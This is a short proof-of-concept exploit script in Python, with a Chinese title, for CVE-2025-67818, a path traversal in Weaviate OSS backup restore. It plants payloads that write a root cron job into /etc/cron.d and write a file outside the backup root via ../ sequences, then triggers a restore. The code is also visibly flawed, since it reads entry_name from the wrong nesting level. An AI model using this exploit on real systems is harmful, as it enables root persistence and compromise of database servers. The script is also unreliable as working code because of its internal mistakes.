CVE-2025-67818: Weaviate OSS路径遍历漏洞导致任意文件写入

# CVE-2025-67818 PoC - Path Traversal in Weaviate Backup Restore # Affected: Weaviate OSS < 1.33.4 # Note: Requires authenticated access with data insertion privileges import requests import json import base64 TARGET = "http://target-weaviate:8080" API_KEY = "your-api-key" # Authentication required headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Method 1: Absolute path traversal to write to /etc/ payload_absolute = { "class": "MaliciousClass", "properties": { "entry_name": "/etc/cron.d/malicious_cron", "content": base64.b64encode(b"* * * * * root /tmp/payload.sh\n").decode() } } # Method 2: Relative path traversal using ../.. to escape backup root payload_traversal = { "class": "MaliciousClass", "properties": { "entry_name": "../../../../../../tmp/pwned", "content": base64.b64encode(b"Malicious content written outside backup root\n").decode() } } # Insert malicious entries into Weaviate def inject_malicious_data(payload, class_name="ExploitClass"): url = f"{TARGET}/v1/objects" data = { "class": class_name, "properties": { "entry_name": payload.get("entry_name"), "file_content": payload.get("content") } } response = requests.post(url, headers=headers, json=data) return response.status_code == 200 # Trigger backup restore (requires admin privileges or backup restore API access) def trigger_backup_restore(backup_id="malicious_backup"): url = f"{TARGET}/v1/backups/{backup_id}/restore" response = requests.post(url, headers=headers) return response.json() # Execute exploitation if __name__ == "__main__": print("[+] Injecting malicious path traversal entries...") inject_malicious_data(payload_absolute) inject_malicious_data(payload_traversal) print("[+] Triggering backup restore to write arbitrary files...") result = trigger_backup_restore() print(f"[+] Result: {json.dumps(result, indent=2)}")